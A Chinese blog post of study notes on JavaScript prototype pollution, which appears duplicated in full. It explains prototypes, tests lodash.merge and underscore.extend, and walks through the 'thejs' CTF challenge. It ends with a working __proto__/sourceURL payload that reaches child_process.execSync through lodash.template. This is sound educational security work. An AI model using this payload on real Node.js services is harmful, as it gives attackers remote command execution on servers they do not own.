《关于我学习JS原型污染并做下笔记这件事》
Ebounce
撰写于 2020年 03月 12 日

《关于我学习JS原型污染并做下笔记这件事》

前言

别问,问就是太菜了,以及实在是太久没有更新博客了,越学越往开发那里学了(golang真棒),为了拉回自己其实是搞安全的形象,因此学习了亏欠很久的JS原型污染 .
<!--more-->

JS中的类

一般来说JS中定义类的方法,常用大概以下三种:

1.函数式你以为我是函数实际上我是类哒~

function son(name) {
    this.ming = name
    this.show = function(){
        console.log(this.ming)
    }
}

这里定义了一个son类(或者该类的构造函数),然后指定了一个ming属性和一个show方法

2.class语法糖

class son {
    constructor(name){
        this.ming = name
    }
    show(){
        //这里隐式解决了原型的问题,不理解请看下文
        console.log(this.ming)
    }
    /*与该方法等价的函数式代码为 
    son.prototype.show = function(){
            console.log(this.ming)
    }*/
}

3.简单式

var son = {
    ming: 'hello',
    show: (function () {
        console.log(this.ming)
    })
          }

第二种是我们比较熟悉的类定义方式,函数和class语法两者是基本等价了,简单式非常像是一个字典,但由于JS中函数为一等公民,下文主要以函数式来讲

存在缺陷的定义方式

第一种定义类的方式,会存在一个问题,那就是每实例化一个类,其中this.show = function()都会执行一次,过程如下:

我们会发现每实例化一个新对象,debug总是能够断在this.show一步(即该方法被绑定在了实例上,而非类),因此为了解决这个问题,我们可以使用prototype,这样相当于son与生俱来就拥有show方法了

理解prototype

这里我们使用prototype其使用方法相当于访问类中的属性,因此prototype我们可以将其理解为所有类共有的一个属性,而一个类在实例化时会拥有prototype中的方法和属性,从继承的角度来说,这个prototype就类似于父类,而在JS中称为原型,但一个实例化的类不能直接通过prototype访问其原型,需要使用__proto__属性:

直接访问显示undefined:

使用__proto__属性:

  • __proto__确实指向了该类的prototype属性
  • prototype包含了需要进该类的方法和属性,prototype形式上类似于python的字典

prototype如何运作

function son(name) {
    this.ming = name
}

function father(){
    this.xing = "Li"
}
son.prototype = new father()
son.prototype.show = function(){
    console.log(this.xing,this.ming)
}
var new_son = new son("bu");
var a = new_son.__proto__
new_son.show()
console.log("done")

我们使用以上代码进行debug,就能够很清晰的见到一条链条(继承链)

Object再往前找就变成null

通过链条分析,不难发现JS的继承机制是这样实现的:

  1. son类实例中没有xing这个属性,就到father里面找
  2. father找不到xing属性,找Object{constructor}里面
  3. Object{constructor}里面也找不到,就找Object里面
  4. Object里面也没有那就返回Null,即不存在该属性

总结:

如果用户能够控制一个类的原型,那么通过修改该类原型,就可以直接修改当前类,这种攻击也就是JS原型污染了,实验一下:

应用场景

由于原型污染的条件便是,需要我们能够控制原型的值,或者能够操控__proto__方法

  1. 通过JS中对象可以是类似Python字典的形式,因此通过操纵字典键名操作值的函数方法均可,因为在这里__proto__可以被当作键名(一般指合并操作,JS对象本来就可以直接增删改属性,因此没必要封装函数)
  2. 复制对象的时候,因为复制对象需要将已有对象加载到空对象中,因此这个过程仍然可以操作键名和值.

搜索了一下在node.js大致有两个方法可以操作对象合并underscore.extendlodash.merge我们一个方法一个方法的测试看看,

extend:

这里我们对象确实合并成功了,但原型并没有受到污染,原因在于这里的son那里的__proto__被当作了son的原型,其属性和方法已经被加载到了son对象里,而我们需要将__proto__当作键名才能够将原型污染。因此我们需要在生成对象修改一下,我们可以不自己创建对象,而是将字符串解析成对象,这样自然__proto__会被当作键名了。

extend修改后:

这里使用字符串转化成为对象的话,会提示Object没有原型,并且debug了一下son.xing也是undefined,百度一下解决方法,说是应该用JSON.parse,当然翻了一下文档,发现querystring.parse是肯定不行的

最终版本:

发现这个方法似乎不行,相继测试了该包下的extendOwnclone也不行,最后发现该包文档里面说了

会直接覆盖掉,这就相当于创建了一个原对象的副本,而并不会改变对象的Object因此从JS原型污染的角度来说,这个函数比较安全。

merge:

由于前面extend没看文档说明,浪费了一些时间,这次我们先翻阅官方文档的说明:

非常关键的地方,merge函数会直接改变对象的Object这就意味着如果我们控制了其中一个对象,那么merge进行合并的时候,必然会造成原型污染。

测试一下:

我们发现并没有合并原型,究其具体原因发现,包里的merge函数使用一个safeget()函数来获得key值,之后发现

原来是当属性名为__proto__会直接返回,而不是返回目标对象的对应__proto__,因此这里不会产生原型污染,当然由于这里我们是测试所以直接删掉判断__proto__那段代码(这里判断是采用弱相等可能存在一些绕过的问题,但我找不到)

这里原型污染成功了,其实P神对merge函数总结的非常到位,P神源码如下:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
            //递归赋值
        } else {
            target[key] = source[key]
            /*递归的终点,将原类的属性名赋值给目标对象的对应属性名,
            因此如果这里属性名为__proto__那么就可以修改原型了(前提他没有判断键名是否为__proto__)
            */
        }
    }
}

实际上lodash.merge简化之后也是类似的代码.

实例

翻阅了很多文章才发现,P神code-breakingThejs实在太经典了,两年以来都是其各种变种,因此这里主要以thejs为例

源码分析:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
//常量定义,但可以看看用了那些包

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
//设置了服务器可以接受POST的表单数据和JSON
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
//设置session构成
app.engine('ejs', function (filePath, options, callback) { 
    // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})
//这里利用读文件的方式读取模板文件,然后传给lodash.template进行创建模板,最后再利用compiled函数渲染出options的值
        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
        //这里将data与req.body进行合并操作,最后合并给session
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

总结一下,源码逻辑很简单就是将接受到的数据拼接到session上,最后显示出来而已。我们注意到这里使用了lodash.merge函数,这个函数在早期版本应该是没有校验__proto__属性的,因此怀疑这里存在原型污染的问题,那么问题来了,污染原型之后该怎么得到flag?

问题1:污染原型的哪个属性?

首先服务器代码基本是看不出什么端倪的,我们可以思考以下几点:

  1. 重点函数lodash.merge为污染原型的入口
  2. 污染原型想要拿到flag必须要植入shell或者执行命令
  3. 污染原型中的某个属性能够被拼接到函数中或者函数运行中

因此我们需要找传入对象的函数,并看他们是否能够创造函数,或者能够运行函数,再整理一下lodash.merge这个函数排除,这是入口,然后我们想想为什么不用express自带的引擎渲染,而需要使用lodash.template函数呢?所以怀疑这里有点问题,我们翻看lodash.template文档发现:

这里options是一个对象,并且返回的是一个编译模板的函数,在服务器代码又有这一段:

let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)

最后这个编译模板函数会被当作回调函数执行,因此如果这里能够顺利污染到Function的创建,那么就可以返回一个可执行的命令了,再回到lodash.template源码上(对应版本lodash-4.17.4):

 var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...........
var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });
......
return result;

这里会判断sourceURL是否在options对象中,如果在的话(可以在原型里)取出,然后将sourceURL拼接到函数的创建中,最后再经由外层服务器代码执行,整理一下这里的格式,可以看作:

Function("",sourceURL)//这个sourceURL是可控的

问题2:如何执行命令

1.模块的相关问题和tips:

Node.js里面执行命令一般使用child_process这个模块里的函数,比较常用的是exec或者execSync前者为异步执行,后者为同步,同时exec返回一个对象,而execSync返回buffer,不过源代码并没有导入这个模块,因此这里需要导入child_process但P神曾在代码星球里面说过Function里是不含有require的上下文的,如下图:

翻阅文档会发现Node程序进程中,一直都会存在一个global全局变量,global里面也存在process,而process里面的mainModule则是可以导入模块的

mainModule对象的constructor中有_load方法,这个方法可以返回导入的模块

2.回显问题:

注意直接使用execSync会返回buffer对象,因此需要转化成字符:

Payload

payload为

{"__proto__": {"sourceURL": "\r\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}}

这里的也可以使用\u000a作为换行符:

同时把部分代码抽出来可能看得比较清楚:

最后测试了一下发现P神给的payload没加toString也可以回显出来,似乎这里源码还进行了一次转换?如果这里payload不返回函数,则会造成没有response包回来,但代码依旧会执行,只是需要另一个服务器接收结果而已。

参考文章:

深入理解JavaScript Prototype污染攻击

Code-Breaking-JS-WP

《关于我学习JS原型污染并做下笔记这件事》

《关于我学习JS原型污染并做下笔记这件事》

前言

别问,问就是太菜了,以及实在是太久没有更新博客了,越学越往开发那里学了(golang真棒),为了拉回自己其实是搞安全的形象,因此学习了亏欠很久的JS原型污染 .
<!--more-->

JS中的类

一般来说JS中定义类的方法,常用大概以下三种:

1.函数式你以为我是函数实际上我是类哒~

function son(name) {
    this.ming = name
    this.show = function(){
        console.log(this.ming)
    }
}

这里定义了一个son类(或者该类的构造函数),然后指定了一个ming属性和一个show方法

2.class语法糖

class son {
    constructor(name){
        this.ming = name
    }
    show(){
        //这里隐式解决了原型的问题,不理解请看下文
        console.log(this.ming)
    }
    /*与该方法等价的函数式代码为 
    son.prototype.show = function(){
            console.log(this.ming)
    }*/
}

3.简单式

var son = {
    ming: 'hello',
    show: (function () {
        console.log(this.ming)
    })
          }

第二种是我们比较熟悉的类定义方式,函数和class语法两者是基本等价了,简单式非常像是一个字典,但由于JS中函数为一等公民,下文主要以函数式来讲

存在缺陷的定义方式

第一种定义类的方式,会存在一个问题,那就是每实例化一个类,其中this.show = function()都会执行一次,过程如下:

我们会发现每实例化一个新对象,debug总是能够断在this.show一步(即该方法被绑定在了实例上,而非类),因此为了解决这个问题,我们可以使用prototype,这样相当于son与生俱来就拥有show方法了

理解prototype

这里我们使用prototype其使用方法相当于访问类中的属性,因此prototype我们可以将其理解为所有类共有的一个属性,而一个类在实例化时会拥有prototype中的方法和属性,从继承的角度来说,这个prototype就类似于父类,而在JS中称为原型,但一个实例化的类不能直接通过prototype访问其原型,需要使用__proto__属性:

直接访问显示undefined:

使用__proto__属性:

  • __proto__确实指向了该类的prototype属性
  • prototype包含了需要进该类的方法和属性,prototype形式上类似于python的字典

prototype如何运作

function son(name) {
    this.ming = name
}

function father(){
    this.xing = "Li"
}
son.prototype = new father()
son.prototype.show = function(){
    console.log(this.xing,this.ming)
}
var new_son = new son("bu");
var a = new_son.__proto__
new_son.show()
console.log("done")

我们使用以上代码进行debug,就能够很清晰的见到一条链条(继承链)

Object再往前找就变成null

通过链条分析,不难发现JS的继承机制是这样实现的:

  1. son类实例中没有xing这个属性,就到father里面找
  2. father找不到xing属性,找Object{constructor}里面
  3. Object{constructor}里面也找不到,就找Object里面
  4. Object里面也没有那就返回Null,即不存在该属性

总结:

如果用户能够控制一个类的原型,那么通过修改该类原型,就可以直接修改当前类,这种攻击也就是JS原型污染了,实验一下:

应用场景

由于原型污染的条件便是,需要我们能够控制原型的值,或者能够操控__proto__方法

  1. 通过JS中对象可以是类似Python字典的形式,因此通过操纵字典键名操作值的函数方法均可,因为在这里__proto__可以被当作键名(一般指合并操作,JS对象本来就可以直接增删改属性,因此没必要封装函数)
  2. 复制对象的时候,因为复制对象需要将已有对象加载到空对象中,因此这个过程仍然可以操作键名和值.

搜索了一下在node.js大致有两个方法可以操作对象合并underscore.extendlodash.merge我们一个方法一个方法的测试看看,

extend:

这里我们对象确实合并成功了,但原型并没有受到污染,原因在于这里的son那里的__proto__被当作了son的原型,其属性和方法已经被加载到了son对象里,而我们需要将__proto__当作键名才能够将原型污染。因此我们需要在生成对象修改一下,我们可以不自己创建对象,而是将字符串解析成对象,这样自然__proto__会被当作键名了。

extend修改后:

这里使用字符串转化成为对象的话,会提示Object没有原型,并且debug了一下son.xing也是undefined,百度一下解决方法,说是应该用JSON.parse,当然翻了一下文档,发现querystring.parse是肯定不行的

最终版本:

发现这个方法似乎不行,相继测试了该包下的extendOwnclone也不行,最后发现该包文档里面说了

会直接覆盖掉,这就相当于创建了一个原对象的副本,而并不会改变对象的Object因此从JS原型污染的角度来说,这个函数比较安全。

merge:

由于前面extend没看文档说明,浪费了一些时间,这次我们先翻阅官方文档的说明:

非常关键的地方,merge函数会直接改变对象的Object这就意味着如果我们控制了其中一个对象,那么merge进行合并的时候,必然会造成原型污染。

测试一下:

我们发现并没有合并原型,究其具体原因发现,包里的merge函数使用一个safeget()函数来获得key值,之后发现

原来是当属性名为__proto__会直接返回,而不是返回目标对象的对应__proto__,因此这里不会产生原型污染,当然由于这里我们是测试所以直接删掉判断__proto__那段代码(这里判断是采用弱相等可能存在一些绕过的问题,但我找不到)

这里原型污染成功了,其实P神对merge函数总结的非常到位,P神源码如下:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
            //递归赋值
        } else {
            target[key] = source[key]
            /*递归的终点,将原类的属性名赋值给目标对象的对应属性名,
            因此如果这里属性名为__proto__那么就可以修改原型了(前提他没有判断键名是否为__proto__)
            */
        }
    }
}

实际上lodash.merge简化之后也是类似的代码.

实例

翻阅了很多文章才发现,P神code-breakingThejs实在太经典了,两年以来都是其各种变种,因此这里主要以thejs为例

源码分析:

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
//常量定义,但可以看看用了那些包

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
//设置了服务器可以接受POST的表单数据和JSON
app.use('/static', express.static('static'))
app.use(session({
    name: 'thejs.session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))
//设置session构成
app.engine('ejs', function (filePath, options, callback) { 
    // define the template engine
    fs.readFile(filePath, (err, content) => {
        if (err) return callback(new Error(err))
        let compiled = lodash.template(content)
        let rendered = compiled({...options})
//这里利用读文件的方式读取模板文件,然后传给lodash.template进行创建模板,最后再利用compiled函数渲染出options的值
        return callback(null, rendered)
    })
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = req.session.data || {language: [], category: []}
    if (req.method == 'POST') {
        data = lodash.merge(data, req.body)
        req.session.data = data
        //这里将data与req.body进行合并操作,最后合并给session
    }
    
    res.render('index', {
        language: data.language, 
        category: data.category
    })
})

app.listen(3000, () => console.log(`Example app listening on port 3000!`))

总结一下,源码逻辑很简单就是将接受到的数据拼接到session上,最后显示出来而已。我们注意到这里使用了lodash.merge函数,这个函数在早期版本应该是没有校验__proto__属性的,因此怀疑这里存在原型污染的问题,那么问题来了,污染原型之后该怎么得到flag?

问题1:污染原型的哪个属性?

首先服务器代码基本是看不出什么端倪的,我们可以思考以下几点:

  1. 重点函数lodash.merge为污染原型的入口
  2. 污染原型想要拿到flag必须要植入shell或者执行命令
  3. 污染原型中的某个属性能够被拼接到函数中或者函数运行中

因此我们需要找传入对象的函数,并看他们是否能够创造函数,或者能够运行函数,再整理一下lodash.merge这个函数排除,这是入口,然后我们想想为什么不用express自带的引擎渲染,而需要使用lodash.template函数呢?所以怀疑这里有点问题,我们翻看lodash.template文档发现:

这里options是一个对象,并且返回的是一个编译模板的函数,在服务器代码又有这一段:

let compiled = lodash.template(content)
        let rendered = compiled({...options})

        return callback(null, rendered)

最后这个编译模板函数会被当作回调函数执行,因此如果这里能够顺利污染到Function的创建,那么就可以返回一个可执行的命令了,再回到lodash.template源码上(对应版本lodash-4.17.4):

 var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...........
var result = attempt(function() {
        return Function(importsKeys, sourceURL + 'return ' + source)
          .apply(undefined, importsValues);
      });
......
return result;

这里会判断sourceURL是否在options对象中,如果在的话(可以在原型里)取出,然后将sourceURL拼接到函数的创建中,最后再经由外层服务器代码执行,整理一下这里的格式,可以看作:

Function("",sourceURL)//这个sourceURL是可控的

问题2:如何执行命令

1.模块的相关问题和tips:

Node.js里面执行命令一般使用child_process这个模块里的函数,比较常用的是exec或者execSync前者为异步执行,后者为同步,同时exec返回一个对象,而execSync返回buffer,不过源代码并没有导入这个模块,因此这里需要导入child_process但P神曾在代码星球里面说过Function里是不含有require的上下文的,如下图:

翻阅文档会发现Node程序进程中,一直都会存在一个global全局变量,global里面也存在process,而process里面的mainModule则是可以导入模块的

mainModule对象的constructor中有_load方法,这个方法可以返回导入的模块

2.回显问题:

注意直接使用execSync会返回buffer对象,因此需要转化成字符:

Payload

payload为

{"__proto__": {"sourceURL": "\r\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}}

这里的也可以使用\u000a作为换行符:

同时把部分代码抽出来可能看得比较清楚:

最后测试了一下发现P神给的payload没加toString也可以回显出来,似乎这里源码还进行了一次转换?如果这里payload不返回函数,则会造成没有response包回来,但代码依旧会执行,只是需要另一个服务器接收结果而已。

参考文章:

深入理解JavaScript Prototype污染攻击

Code-Breaking-JS-WP

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论